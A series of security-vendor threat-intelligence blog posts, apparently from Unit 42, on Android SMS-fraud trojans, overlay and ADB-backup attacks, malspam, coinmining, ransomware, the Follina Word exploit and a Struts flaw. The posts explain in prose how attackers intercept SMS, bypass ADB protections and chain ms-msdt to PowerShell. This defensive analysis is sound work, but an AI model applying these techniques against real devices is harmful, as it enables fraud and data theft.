After receiving the command code, the vendor will send a SMS verification message to the user.
The user is required to follow instructions in described in this SMS’s content to finally confirm the purchase.
To defeat the SMS based verification, Cardbuyer registers a BroadcastReceiver to receive all incoming SMS, and registers a ContentObserver to monitor any change of the SMS’s inbox.
When a SMS arrives to the infected device, Cardbuyer will intercept and parse it.
With conditions, this SMS message may be uploaded to the attack through the C&C communication or deleted (Figure 7).
Figure 7.
SMS from targeted vendors will be intercepted and uploaded to Cardbuyer's C&C server
More interesting, the Cardbuyer is “intelligent” and capable of parsing SMS’s content from different vendors, and take actions in a more intelligent way than any existing Android Trojans found.
In Figure 8, we show the patterns for different types of SMS contents.
For example, for any SMS related to the Perfect World, it will try to match its content with two pre-defined regular expressions (Figure 8), search for numbers in it by specified format, and sent SMS of some matched content to matched phone number (Figure 9).
Figure 8.
Matching SMS content with different format and extract information accordingly
Figure 9.
The Cardbuyer sends replied SMS to complete the payment verification procedure
At this point the Trojan has verified ownership of the phone and the service sends an SMS message to the device containing a code that can be redeemed for credit with vendors like Perfect World.
From here the attacker can sell the code to someone else for cash, or redeem it directly.
While in the example here Cardbuyer targeted the Tianxiafu service, all of the services listed above are targets already pre-defined in its source code.
Any service that uses SMS for authentication of information or proof that a user is authorizing a charge is vulnerable to Trojan attacks.
Palo Alto Networks has already released malware signatures for the file, and more details on the sample are available in the ThreatVault.
Join us Wednesday, April 30 at 3 p.m. EDT, for a new webinar, “Need to Defeat APTs?
Tony Sager Explains Where We’re At With Live Threat Detection Automation.”
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Unit 42 released details about a vulnerability that affects Android devices running operating systems older than 8.0 Oreo.
The vulnerability leaves Android users at risk of falling victim to an Android Toast Overlay attack.
Patches are available that fix this vulnerability, so Android users should get the latest updates as soon as possible.
How it Works
The vulnerability affects the Toast feature on Android devices, an Android feature that allows display messages and notifications of other applications to “pop up,” and allows an attacker to employ an overlay attack.
An overlay attack happens when an attacker places a window over a legitimate application on the device.
Users will interact with the window, thinking they are performing their intended function, but they are actually engaging with the attackers overlay window and executing the attacker’s desired function.
You can see an example of how this would work in Figure 1.
Figure 1: Bogus patch installer overlying malware requesting administrative permissions
This interaction can install malware or malicious software on the device, grant malware full administrative privileges or lock the user out and render the device unusable.
In the past successful overlay attacks were typically dependent on two conditions:
However, with this particular vulnerability, these conditions are no longer required for a successful attack.
This means that attackers can use this vulnerability in apps users get from places other than Google Play.
And when they install these malicious apps, they don’t have to ask for the “draw on top” permission.
How to Defend Against It
Keeping devices updated is a general security best practice.
The Android Toast Overlay attack specifically targets outdated devices using versions prior to 8.0.
In order to defend against the Android Toast Overlay attack, update all Android devices to the latest version.
Additionally, avoid downloading malicious applications by only downloading from the Google Play store is another best practice you should always follow.
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If you need to understand one thing about cybercrime, it’s that it is all about business.
In our latest Unit 42 research on cybercriminals using the Hancitor malware, we show that not only are their attacks about business, we can see these cybercriminals deftly applying some fundamental business principles around timing, specialization, and globalization.
Hancitor is a malware that focuses getting other malware onto the victim’s system.
In the case of Hancitor, it’s typically banking Trojans that steal the victim’s banking information.
In our latest research, we can see the attackers behind Hancitor have been timing their attacks to happen during the busiest time of the global working week, the middle of the week.
And we’ve seen that in adapting their attacks to better evade detection, they’ve specialized their operations around the globe.
Hancitor isn’t particularly advanced in its tactics: it’s ideal target is an old or outdated version of Microsoft Windows like Windows 7 or even Windows XP.
But it’s effective enough that when used in several hundred different spam campaigns every month it pays for the criminals to keep up these attacks against targets around the world.
Timing
In our most recent research, one of the things that jumped out for our researchers is the clear pattern around the timing of the attacks.
As you can see in Figure 1 below, throughout 2017, the Hancitor attacks show clear spikes in their occurrence and these spikes happen during the middle of the week.
Figure 1: Timeline of Hancitor campaign activity since January 2017.
The attackers behind Hancitor aren’t the first to time their spam attacks like this, but it is an effective tactic to try and increase their chances of success, especially when combined with the other innovation that we’ve seen.
Adapting the Attacks
In the past, Hancitor was sent as a malicious attachment in a spam email which would then download and install the attackers’ final malware like a banking Trojan.
When they would do this, the Hancitor attachment would download and install the final malware from a malicious or compromised site.
But as organizations have gotten more effective at blocking malicious attachments like Hancitor, we’ve seen the attackers behind Hancitor adapt to evade detection and prevention.
They’ve done this by moving the Hancitor malware from being a malicious attachment in spam to itself being a malicious download.
The spam the attackers use no long has a malicious attachment but instead a malicious link that downloads the malicious Hancitor attachment.
To do this, they make the spam look like something that requires you to click and download something like and invoice, a message, or a delivery notification.
Figure 2 shows one of these that was made to look like an Amazon shipping notice.
Figure 2: Hancitor malspam example from February 2017.
This means that a Hancitor attack now has two downloads rather than one and what these attackers did around the malicious downloads shows another modern business tactic: globalization.
Globalizing the Attacks
Figure 3 below is a map showing where our Unit 42 researchers have found webistes involved in Hancitor attacks.
Figure 3: Hancitor distribution servers globally thus far in 2017
Table 1 – Number of Distribution Servers by Country
The hot spots in the United States represents distribution servers which are created using fraud based accounts at various hosting providers that are hosting the Hancitor documents while the hotspots in Asia represent legitimate sites for small and medium businesses that have been compromised by the actors behind Hancitor campaign to host the malicious Hancitor documents.
Conclusion
Attackers are always making business decisions to optimize their attacks in ways that are most successful and profitable.
What is most interesting about Hancitor is the way these decisions so clearly reflect an awareness of business realities (by targeting peak working times) and dividing up the “work” of their attacks in a way that so clearly mirrors mainstream business decisions around globalizing operations.
In the end, while Hancitor may not be sophisticated, these steps to adapt and stay effective seem to be succeeding.
And we expect to continue to see Hancitor be a global threat for the foreseeable future.
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Today, Palo Alto Networks researcher Claud Xiao is delivering a presentation titled “Insecure Internal Storage in Android” at the Hacks in Taiwan Conference (HITCON).
Claud is discussing techniques for accessing private data in Android’s internal storage system using the Android Debug Bridge (ADB) backup/restore functionality.
While over 85% of active Android devices are vulnerable to this attack, Android includes multiple levels of protection to prevent unauthorized data access.
In today’s presentation, Claud will have demonstrated how an attacker could bypass all of those protections to gain access to usernames, passwords and a treasure trove of other data.
To understand this attack, it’s critical to understand how applications use Android internal storage and why unauthorized access to this data is so problematic.
The Android operating system provides a mechanism for applications to store information that is isolated to their specific application; this area is called “internal storage.”
If an application needs to store something secret, like a website username and password, internal storage is the place to do it.
As the Android sandbox prevents other applications from accessing this data, many developers have chosen to store secret information here without any additional encryption in place.
This first became a cause for concern in 2010 when users reported that the default e-mail application stored credentials in plain text.
At that time, the Android development team explained that the security of the internal storage system prevented unauthorized access, and that there were many good reasons not to encrypt stored e-mail passwords.
The primary reason is usability, as any strong encryption of the password would require the user to type the decryption password each time they needed to access the e-mail password, defeating the purpose of storing a password in the first place.
While there is still debate about how to store passwords in internal storage, if Android internal storage isn’t accessible to anything but the application that owns it, it remains secure.
Unfortunately, that isn’t always the case.
The ADB provides users a mechanism for attaching their phone to a PC or other device and issuing commands.
This includes backup and restore functionality, which allows the user to copy data from the phone to the PC and vice versa, including data contained in internal storage.
This means that all of those passwords and any other data Android developers assume are secure (unencrypted) are accessible if an attacker can access the backup system.
ADB backup is not simple to access, as there are multiple physical and technical barriers standing in the way of the attacker.
This is admittedly a lot of hurdles, but all of them can be bypassed under the right conditions, leaving the data in internal storage exposed.
Here’s how it might happen:
1.
The first challenge is getting access to the device over USB.
The simplest way of doing this is by physically controlling the phone, either by borrowing or stealing it, but that isn’t the only way.
If an attacker has control over a PC, which the Android device is attached to (for charging or for other purposes), they don’t need to get physical access to the phone.
This could be accomplished through malware that infects the PC and waits for Android devices to be connected.
Or through a rogue “charging station” which users plug their device into without thought.
2.
Next, the device must support ADB backup, which was not introduced until Android 4.0 (Ice Cream Sandwich).
As of July 7, this includes 85.8% of active Android devices.
3.
For these devices, ADB debugging must be enabled for backup to work.
This is generally disabled by default, but many enthusiasts enable it and PC-based tools often guide users to leave it enabled.
Some device vendors have even left it enabled by default when shipping their phones.
Additionally, for a small price an individual could purchase custom hardware that will enable the USB debugging.
4.
Screen lock prevents ADB backup, but many users do not use screen lock at all.
If they do, there are a few vulnerabilities in Android versions < 4.4.4, which would allow an attacker to get around this.
5.
If the device is running Android 4.2.2 or above (approximately 54.3% of active devices) it uses ADB authentication.
This means when a PC attempts to enable ADB debugging, the phone presents a dialog to the user to authenticate the PC.
If the user has done this in the past and checked the “Always allow from this computer” for the system the attacker controls, they can bypass this protection.
If this isn’t the case, they may be able to bypass this protection using a vulnerability in Android versions 4.4.2 and below.
6.
Finally, when an ADB backup is initiated, a window pops up on the device screen to ask the user to press “Back up my data.” If the attacker has physical access to the device, they can click this button, but if they don’t the “adb shell sendkey” function can simulate the necessary “click” to bypass this protection.
Many of these protections have been deployed only in recent versions of Android, indicating that Google understands the risks presented by ADB.
Unfortunately, none of these protections is fool proof.
Successfully bypassing them means getting access to a lot of applications and their sensitive information.
The actual impact of the ADB backup attack depends on when data is actually stored in the device’s internal storage and whether or not it’s protected.
One way to protect this data is to disable the backup system for a specific application.
This is the easiest way for developers to prevent this attack against their data, but we’ve found very few make this choice.
Of the 12,351 applications on the Google Play store with > 500,000 installations, only 556 explicitly disable this backup system.
Another 156 implement a BackupAgent that restricts which data is subject to the backup.
The other 94.2% of applications place no restrictions on the backup of their internal storage data.
This includes (as discussed earlier) the default Android Mail and Browser applications, but also other e-mail, SSH and FTP applications, many of which store login and password details without any additional encryption.
It’s clear from the data above that most application developers either are not aware of, or aren’t concerned by, the potential leakage of the data they store in internal storage.
Google could reverse this situation by making setting the android:allowBackup property to false by default, requiring developers to opt-in to the backup system, rather than opt-out.
Developers can also make this choice by changing property in their AndroidManifest.xml files.
Alternatively, developers can implement a BackupAgent that restricts the backup system from copying sensitive data in an unsafe way.
Users interested in defending their phones from this attack should take the following actions, while understanding that none is 100% effective:
The slides and demo code from Claud’s talk at HITCON are available now.
These include more detail than we could fit into this blog and show specifically how Claud bypassed the ADB protections on-stage today.
Palo Alto Networks first reported the issues described here to the Google security team in March of 2013 and provided them with the content of todays presentation in July 2014.
While we understand their position on Android internal storage and applaud their patching of vulnerabilities that allow access to the system, we hope that developers will take action to protect their users’ data from the risk of the ADB backup attack.
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Palo Alto Networks WildFire detected a new Android Trojan on May 7th, 2014 when a customer using our enterprise security platform downloaded the malicious application from the Google Play store.
We’ve named the malware family Funtasy, based on the domain it uses for registering compromised phones to the premium SMS service.
The first version of Funtasy we detected is a fake television remote control application.
Figure 1: Funtasy Trojan Disguised as TV Remote Control App.
A developer using the ID “fun app” published the Trojan, and the remote control application they uploaded on April 21 is their most successful app so far, with between 10,000 and 50,000 downloads on the play store.
Based on the reviews, the application does not function very well as a remote, but in reality it doesn’t contain remote control capability.
There’s no mention of a premium SMS service in the description, but a review of the permissions reveals that the program will have complete access to SMS messages.
Figure 2: Remote control app requests complete control over your SMS messages.
After the user installs the remote application and opens it, they are presented with a terms of service screen.
This is the user’s only chance to realize that opening this application is going to cost them dearly.
Figure 3: Remote control app terms of service.
If you can’t read the fine print, I don’t blame you.
Here’s the text decoded from the application’s source code.
Servicio de suscripción para usuarios Movistar, Vodafone, Orange, Yoigo, R y Simyo para mayores de edad o menores con capacidad legal para contratar, prestados por (FUNTASY MOBILE S.L., operador titular ARGATEL SOLUTIONS SL, n. atención al cliente 902 303 803 ó inf@argatel.com, apartado de correos 167, 17001 Girona.
Coste por SMS recibido 1.46 euros/sms (IVA incluido) más el coste de navegación WAP, que dependerá del operador que tenga contratado.
Máximo 10 sms/semana.
El límite máximo de facturación del servicio puede variar en función de tu operador (18 a 30 euros/mes).
Baja automática para cancelar el servicio: envía BAJA al 797977.
This message is pretty straightforward, assuming the user actually reads it.
It explains that by opening the application the reader agrees to receive up to 10 SMS messages a week at a cost of 1.46 euros each.
The maximum cost per month should between 18 and 30 euros per month.
If the user would like to unsubscribe they can text “BAJA” to 797977.
Any user who reads this message and understands it is unlikely to agree, but Funtasy does not even wait for their agreement.
While the terms page is on the screen, in the background the Trojan checks to see if the phone is attached to a network with one of the following mobile network codes (MNC):
Each of these networks is Spanish, except for a single Australian network.
This data, along with an encoded version of the Terms of Service are stored as static strings in the Android package file.
Constants.java
After determining the phone is on one of the correct networks, the malware searches for the phone’s mobile number.
It does this in three ways:
Util.java
With the phone’s number captured, Funtasy then registers the mobile account with a premium SMS service by sending an HTTP POST request to the following URL.
The request is made without the users knowledge, they have no choice to select a number.
Of course, premium SMS services require that the user confirm that they want to sign up by sending incoming SMS message containing a PIN.
Funtasy  intercepts this message, parses out the PIN and sends it back to the registration server, completing the enrollment process.
IncomingSms.java
Of course, once users begin receiving the SMS messages, they are likely to unsubscribe from the service they never really wanted.
To prevent this, Funtasy blocks the incoming messages before they are displayed to the user and modifies the time stamp on each message to make them appear to have been received 15 days earlier.
This moves it to the back of the inbox there the victim is unlikely to ever see it.
Funtasy does this even when the victim uses alternative SMS managers, like Google Hangouts or GO SMS Pro.
After evaluating the remote control app and finding malicious behavior, we decided to evaluate all of the other applications published by “fun app”, and found 12 more which all contains the exact same behavior.
Figure 4: Additional “fun app” applications, all contain the Funtasy Trojan.
Each of these applications is designed to appear like a legitimate application already in the app store.
To raise the ranking of these apps, the author appears to have given many of them five-star ratings.
Unfortunately for them, this gave us additional insight into their operation.
To rate and comment on applications, users must have a Google account.
One account using the name “Oscar Sanchez” gave high ratings and positive comments to many of the “fun app” applications.
He also rated apps made by two additional publishers with the names "MilApps101" and "Milapps102."
Between the two of these developers they have produced five applications, and we’ve found that every one of them contains the Funtasy Trojan.
While the name “Oscar Sanchez” may be a pseudonym, Whois data indicates it was also used to register the domain hosting the Funtasy Mobile premium SMS service.
In total we’ve found 18 different applications in the Google Play store that contain the Funtasy Trojan.
Each of these files also has the same internal class structure, which is represented by the tree structure below.
Figure 5: Funtasy internal class structure.
Researchers interested in investigating them further can find more information in the table below.
Using this Trojan the attacker could be generating up to 30 euros per month for over 67,000 infected mobile phones.
That adds up to 2 million euros per month, but the actual number is likely much lower.
Many of the users who downloaded the tool may not be using one of the targeted Spanish or Australian networks.
Figure 6: List of Android APK files infected with Funtasy Trojan
Users who want to defend against the Funtasy Trojan should not rely on traditional antivirus programs, as they do not currently detect this threat.
Common sense is the best defense against these types of abusive programs.
While many users breeze past the list of permissions required when installing new apps, readers of this blog should ask themselves, “Does my electronic bible need to read my SMS messages?”
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In October 2017, Palo Alto Networks Unit 42 published research showing how attackers were adapting attack techniques to generate cryptocurrency for themselves.
In that research, we also showed how these attacks were very broad and grew very quickly.
At the time, we said that the sudden, surging value of cryptocurrencies was likely behind the sudden, strong rise of these new attacks.
We said that if cryptocurrency values continue to remain high, we could expect to see attackers continue to focus on finding ways to carry out attacks to gain cryptocurrency, and that those attacks would continue to adapt proven attack techniques.
Unit 42 has just released new research showing that attackers are indeed continuing to adapt existing techniques to generate cryptocurrency.
In our research posting “Large Scale Monero Cryptocurrency Mining Operation using XMRig” we detail a new malware campaign that is global in scale, very large in the likely number of victims and uses well established techniques to mine the Monero cryptocurrency.
Monero is a cryptocurrency similar to bitcoin but notable for its increased emphasis on providing a higher level of privacy around its transactions.
Like bitcoin, Monero is generated through “mining” a computationally intensive process that provides cryptocurrency credit in exchange for computing resources provided in service to the cryptocurrency and its transaction infrastructure.
The operation that Unit 42 has recently uncovered works to deliver XMRig, software that is used to mine the Monero cryptocurrency, to victims’ systems without their knowledge or consent.
While XMRig isn’t itself specifically malware, it’s being delivered using malware-delivery techniques without the user’s knowledge and consent just like malware.
The attackers are doing this by using URL shorteners to make XMRig look like other, legitimate, and expected programs.
This is a method attackers have used for years to deliver malware and they are using it now to get coinmining software on to people’s systems illicitly.
The attackers’ use of URL shortners enables our Unit 42 researchers to get an idea of the size, scope, and scale of this operation.
And these are all notable and sobering.
First, this is a young campaign.
Our research shows this operation to be only about four months old.
Second, this is a very large campaign.
Our researchers can show that about one-half of the samples we found have affected 15 million people worldwide.
While we can’t see how many people the other half of the samples affect, it’s a reasonable supposition that the other half of the total samples affect just as many people as the half we can see.
This would mean that this operation may affect about 30 million people worldwide.
In terms of who’s been affected by this operation, again, we can only see half of those who have been affected.
But what we do see shows that this is a truly global operation.
This operation affected countries around the globe, but it appears that southeast Asia, northern Africa, and countries in South America were hit the most as shown below.
Malicious downloads by country
The specific breakout of countries affected, and their download counts are as follows:
Taking all those points together, this is operation is very large and clearly very effective.
It shows how attackers are aggressively focusing their operations and campaigns on generating and acquiring cryptocurrency.
From a threat point of view, there are two things that are notable.
First is the fact that from an attack technique point of view, there is nothing new here.
The tactics and techniques are not new or sophisticated.
Second is the fact that this operation is clearly very successful based on its size, scope, and age.
Looking at this latest operation on the continuum of evolving cryptocurrency-focused threats, it’s clear that this is an early-stage threat given its lack of sophistication and reuse of established techniques and tactics.
But given how quickly and broadly successful it is, combined with the continued high value of cryptocurrencies, we can also conclude that attackers will continue to focus on cryptocurrency and likely will evolve their techniques and tactics quickly.
Cryptocurrency-focused threats is a key area that all defenders should focus their intelligence and prevention efforts around in 2018.
Meanwhile, see our full research blog for full details on how attackers are distributing and using XMRig to generate Monero.
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On May 27, 2022, details began to emerge of malicious Word documents leveraging remote templates to execute PowerShell via the ms-msdt Office URL protocol.
The use of this technique appeared to allow attackers to bypass local Office macro policies to execute code within the context of Word.
Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.
Due to the amount of publicly available information, ease of use, and the extreme effectiveness of this exploit, Palo Alto Networks is providing this threat brief to make our customers aware of this critical vulnerability and the options available to ensure proper protections are put into place until a patch can be issued by Microsoft.
The vulnerability enables remote code execution with the same privileges as the calling application and there are proof-of-concept examples of zero-click variants.
Therefore, exploits for this vulnerability have potential to be of high impact.
We highly recommend following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.
All known samples and URLs associated with this attack have been flagged in the Palo Alto Networks product suite so customers can receive protections.
Attack Details for CVE-2022-30190
CVE-2022-30190 in the Wild
Conclusion
On May 27, 2022, a cybersecurity research team out of Tokyo, Japan, nao_sec, uncovered a malicious Word document uploaded to VirusTotal from an IP in Belarus.
The document was abusing the Microsoft Word remote template feature to retrieve a malicious HTML file that subsequently used the ms-msdt Office URI scheme to execute PowerShell within the context of Word.
On May 30, Keven Beaumont wrote an article detailing the specifics of the initial incident.
The important thing to note here is that the decoy Word document had nothing inherently malicious outside of the link to the template hosted at hxxp://xmlformats[.
]com, allowing it to bypass EDR solutions.
The HTML code from the remote template is shown in Figure 1 below.
The JavaScript embedded within the HTML uses the ms-msdt schema to invoke the PCWDiagnostic pack, to reference the IT_BrowseForFile to execute the base64-encoded PowerShell Invoke-Expression command.
The base64-decoded text within the PowerShell Invoke-Expression is shown in Figure 2 below.
This code does a few things.
First it kills the msdt.exe process.
Then the code loops through the files within a .rar archive looking for a CAB file (TVNDRgAAAA base64 decodes to MSCF, which is the magic header of a CAB file).
It then stores it in a file called 1.t.
1.t, which gets base64 decoded to 1.c, expanded to rgb.exe and then finally executed.
None of the reports we’ve seen have recovered the final payload.
Therefore, the contents are unknown.
The use of remote templates to deliver malicious documents is not new, however, historically they’ve been used to host .docm or dotm (macro-enabled Word documents), which would still be affected by the local systems’s Word macro policy.
Therefore, the vulnerability of particular note in this attack lies in calling the Microsoft Support Diagnostic Tool (MSDT) using the ms-msdt URL Protocol within Word via the remotely loaded template file.
This allows execution of code within the context of Microsoft Word, even if macros are disabled.
Protected View was triggered during execution of the nao_sec example, however, John Hammond demonstrated you can bypass Protected View by using an RTF file instead.
This allows the attack to succeed even if the user simply views the file in the preview pane – with no clicks on the document necessary – making the attack much more dangerous.
Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.
They provided a workaround to disable the MSDT URL protocol, however, this may break other diagnostic tools that rely on the MSDT URL protocol to operate.
They also recommend ensuring cloud-delivered protections and automatic sample submission for Microsoft Defender are enabled.
Microsoft recommends that customers of Microsoft Defender for Endpoint enable the attack surface reduction rule BlockOfficeCreateProcessRule.
So far, Palo Alto Networks is only seeing indications of testing within our customer telemetry indicated by final payload execution of benign executables such as calc.exe and notepad.exe.
Palo Alto Networks and Unit 42 will continue to monitor for evidence of exploitation and further novel use cases.
Based on the amount of publicly available information, the ease of use and the extreme effectiveness of this exploit, Palo Alto Networks highly recommends following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.
Next-Generation Firewalls (PA-Series, VM-Series and CN-Series) or Prisma Access with a Threat Prevention security subscription can automatically block sessions related to this vulnerability using Threat ID 92623 (Application and Threat content update 8575).
WildFire and Cortex XDR categorize all known samples we’ve come across as malware.
Cortex XDR Agent 7.5 and higher (with content version 540-92526) prevents attempts to exploit this vulnerability with the Behavioral Threat Protection module.
The Cortex XSOAR “CVE-2022-30190 - MSDT RCE” playbook helps speed up the discovery and remediation of compromised hosts within the network.
The playbook can be found on the XSOAR marketplace.
Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.
Customers can leverage this service with best practice configuration for further protection.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.
Updated June 3, 2022, at 3:30 p.m. PT.
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Situation Overview
On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.
The Apache Foundation has urged everyone to apply the security updates as soon as possible.
This blog is to provide information to help organizations assess their risk of the vulnerability and to inform Palo Alto Networks customers of protections in place that can help mitigate their risk until they can apply the security updates.
Palo Alto Networks customers who have deployed the latest vulnerability signatures released on August 24, 2018, are protected.
Vulnerability Information
According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts.
The method of attack would be through a specially crafted URL sent to the vulnerable system.
In most cases, this means no authentication is required to exploit the vulnerability.
A successful attack would run code in the security context that Struts is using.
In some cases, this could effectively lead to a total compromise of the system.
It’s important to note, however, that the vulnerability is not exploitable in default configurations.
The following two conditions must both be met for a system to be vulnerable to attack:
If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.
In particular, if your application uses the popular Struts Convention plugin, it appears to potentially increase your risk of exploitability vis-à-vis other Struts implementations that do not use that plugin.
Threat Environment Information
The vulnerability was disclosed on August 22 in conjunction with security updates that address it.
There is detailed information about the vulnerability and how to exploit it available currently.
There is also proof of concept (PoC) code available already.
As noted above, the PoC works only against systems that are vulnerable and meet both conditions for exploitability.
Some have noted that a previous critical Struts vulnerability was actively attacked last year only three days after the release of the security update and vulnerability information.
There are no known active attacks at this time and the current requirement that two, non-default conditions need to be met for the vulnerability to be exploitable makes for a different threat environment.
However with active PoC available we can expect at the minimum probing, if not active exploitation of this vulnerability in the near term.
Organizations should focus their risk assessments for possible attack until they can patch on four things:
Guidance and Protections for Palo Alto Networks Customers
All organizations running vulnerable versions of Apache Struts should deploy the security updates as soon as possible.
Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and  on currently available information.
Palo Alto Networks customers who have deployed vulnerability signatures in content release version 8057 released on August 24, 2018, which include ID 33948 Name: Apache Struts 2 Remote Code Execution Vulnerability, are protected against currently known exploits against that vulnerability.
Our customers should still deploy the security update as recommended above, but can and should deploy the latest vulnerability signature immediate for additional protection.
With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.
As always, we are monitoring the situation closely and will provide additional details as they become available.
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As part of Palo Alto Networks Unit 42’s ongoing monitoring of the Shamoon 2 situation, we have updated information since our last posting Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic.
Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks.
This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.
Aside from that difference, this latest wave of Shamoon 2 attacks appears to be the same as wave 1, which wiped systems on November 17, 2016, and wave 2, which wiped systems on November 29, 2016.
The wave 3 samples our Unit 42 researchers have analyzed are similar to the other two waves in terms of the attack vectors, payloads and actions taken: there is no new intelligence to share on those.
This latest threat intelligence suggests that Shamoon 2 attacks are an ongoing situation and that additional waves of attack are possible in the future.
Organizations that are concerned about this situation and believe it poses risks to them should perform a risk assessment that considers the following possible actions in response:
In addition, organizations should review their backup strategies and disaster recovery/business continuity plans.
Our Unit 42 research team continues to follow the situation closely and we will provide updates as appropriate.
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Spear Phishing is a specific attack technique that has become widely used in the past few years.
In our new research blog “FreeMilk: A Highly Targeted Spear Phishing Campaign”, our Unit 42 research team has discovered an attack campaign that takes spear phishing targeting to the next level by hijacking in-progress email conversations.
While these are not broad attacks, they represent an escalation in attacker spear phishing techniques in a way that makes it even more important than ever to have a prevention framework in place.
Standard phishing attacks are broad attacks that use general email messages to carry out the attacks.
Standard phishing attacks aren’t personalized: they use very common themes or lures in a generalized way in conjunction with a large enough pool of targets.
The idea is that by chance some percentage of the phishing emails will look legitimate enough to the recipient to be successful.
Basically, standard phishing attacks rely on the law of averages for its success.
As such, it’s a suitable tactic when an attacker cares less about who falls for it than how many fall for it.
A good example of a generalized phishing campaign is the Blank Slate Campaign we wrote about in March 2017.
This attack campaign was so generalized that the attackers didn’t even bother with any theme or lure: they simply sent blank messages with malicious attachments for the recipient to open.
Spear phishing is a more refined and focused version of phishing.
Instead of using generalized themes or lures, spear phishing uses themes or lures that are in some way relevant or appropriate for the target recipient.
For example, a spear phishing attack could use email messages about military exercises sent to military or government targets like we saw with our recent research into CMSTAR Trojan attacks.
Because the malicious email has a context for the target, he or she is more likely to trust it and open the email message and any attachments.
Spear phishing focuses on the quality of the theme and lure where standard phishing focuses on quantity.
Spear phishing is a suitable tactic when an attacker cares about who falls for it.
Where a phishing attack campaign may send malicious emails out to thousands or tens of thousands of targets, a spear phishing campaign my send out just one malicious email to one target.
Sometimes, when that target is a high-value target this attack can also be referred to as ‘Whaling”.
In our new research, our Unit 42 research team has found an attack that takes the refining of spear phishing one step further.
Rather than simply using a theme or lure that is relevant to the target, the attackers behind these attacks use an email conversation that’s in progress to carry out their attack.
You can see an image of how this works below in Figure 1.
Figure 1 Conversation Hijacking to Deliver Malware
How this works is that two users, Alice (A) and Bob (B) are carrying on an email conversation.
A shown in the top figure, an attacker, Charlie (C), carries out an attack that enables him to gain complete control of Alice’s email account, most likely through some form of credential theft.
Once Charlie has access to Alice’s email account, he then finds email conversations between Alice and Bob, his ultimate target.
When he finds one that is still in progress, he crafts a malicious attack email that seems to be relevant to the ongoing email conversation and sends it to Bob as shown in the bottom figure.
If Charlie was successful in crafting the attack email to seem legitimate enough, Bob will open the email and any attachments and the attack will succeed.
Unlike phishing or even general spear phishing, this is a highly sophisticated, labor intensive, focused attack.
Carrying out a successful conversation hijacking spear phishing attack requires knowing someone that the ultimate target is communicating with, compromising that person’s account, identifying an ongoing email conversation with the ultimate target, crafting an email to appear part of that ongoing email conversation and finally sending it.
Even then there’s no guarantee of success since the target may somehow recognize the attack or have sufficient prevention controls in place to prevent the attack from succeeding.
Given all those points, this isn’t an attack that many of us need to worry about.
But those out there who are in positions that might make them a high value target do need to be concerned about this.
Whether you’re on the board of directors for an organization, a CEO/CFO/CSO, entrusted with important military or political information, are a journalist, or an activist/dissident, this is a kind of attack that you could face.
And like with all targeted attacks, you don’t have to be the ultimate target of the attack campaign to be a target: this is a tactic that can be used as part of a broader attack campaign.
For example, if you are the executive assistant for a CEO, you could be the target of an attack like this (“Bob” in our scenario above) so that you in turn are used to carry out an attack (“Alice” in our scenario above) against your CEO (who then becomes “Bob” in our scenario above).
Because of the nature of the attack, unless you verify each and every email you receive, it’s unlikely that you’ll necessarily be able to spot and thwart an attack.
In this case, your best means of protection lies in prevention.
And prevention here is really focused on two things.
First, keeping your systems and devices fully up-to-date with the latest software and security updates.
The specific attack our Unit 42 research team has seen using this technique relied on an attack against a vulnerability in Microsoft Office for which a patch is available.
If an attacker tried to carry this attack out against a target that was patched for this vulnerability, it would fail.
Second, using security on your systems, devices and networks that provides multiple layers of protection can help prevent attacks.
Conversation hijacking spear phishing isn’t a threat everyone faces, but for those who do it represents a significant escalation in terms of sophistication and social engineering of spear phishing attacks.
It also takes spear phishing attacks to a level that makes it nearly impossible to distinguish an attack email from a legitimate email.
And so technological prevention controls (patching, robust security) are even more for effective prevention.
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In our updated report on ransomware from Unit 42, “Ransomware: Unlocking the Lucrative Criminal Business Model,” Unit 42 researcher Bryan Lee notes: “In 2016, it was thought that there were less than one hundred active ransomware variants out in the wild.
Today, the number of total ransomware variants at least over 150, if not hundreds more.”
It’s reasonable to ask why ransomware continues not only to exist but to thrive.
The first answer to this, as we’ve outlined in our report, is that ransomware is a lucrative cybercriminal business model.
However, in addition to the human factor, there are technical reasons.
Specifically, there are three things that combine to make ransomware a particularly potent threat on the technical level:
In some ways, these three points state the obvious.
But the full ramifications and why these make ransomware hard to stop aren’t always discussed.
The way ransomware works is well documented, but let’s recap here.
Ransomware is downloaded to a user’s system and executed on it.
The way the attackers get the ransomware on the system varies: it can be through unpatched vulnerabilities, social engineering or both.
The most common way ransomware operators levy attacks is through email or by web browsing to malicious or compromised sites.
The overwhelming majority of ransomware attacks are against Microsoft Windows systems.
Once malware is running on the user’s system, it seeks out and encrypts files and folders that hold information critical for the user, such as documents, business applications or even database files.
In some cases, the ransomware is sophisticated enough to target specific application files.
Most importantly, because the ransomware is executing with the compromised user’s privileges, any file the legitimate, now-compromised user has access to, including network shares and backups, is fair game for the ransomware.
It’s this last point that gets to the heart of why ransomware is so potent.
From an operating system point of view, the ransomware IS the user.
Even though Microsoft Windows today features a robust user access control system, that system has inherent limitations.
In the early days of Window Vista, Microsoft enabled aggressive security checking to ensure user-initiated actions were legitimate.
This was well-intentioned but ultimately backfired: users got fed up clicking “Are you sure?” dialog boxes and quickly disabled the feature, or just mindlessly clicked “OK” every time they saw it.
Microsoft made reasonable adjustments so that these alerts are now raised sparingly.
Although that feature was never enabled to protect user data files like ransomware targets, there is a clear lesson from the experience: too many security checks on user activity fails in the end.
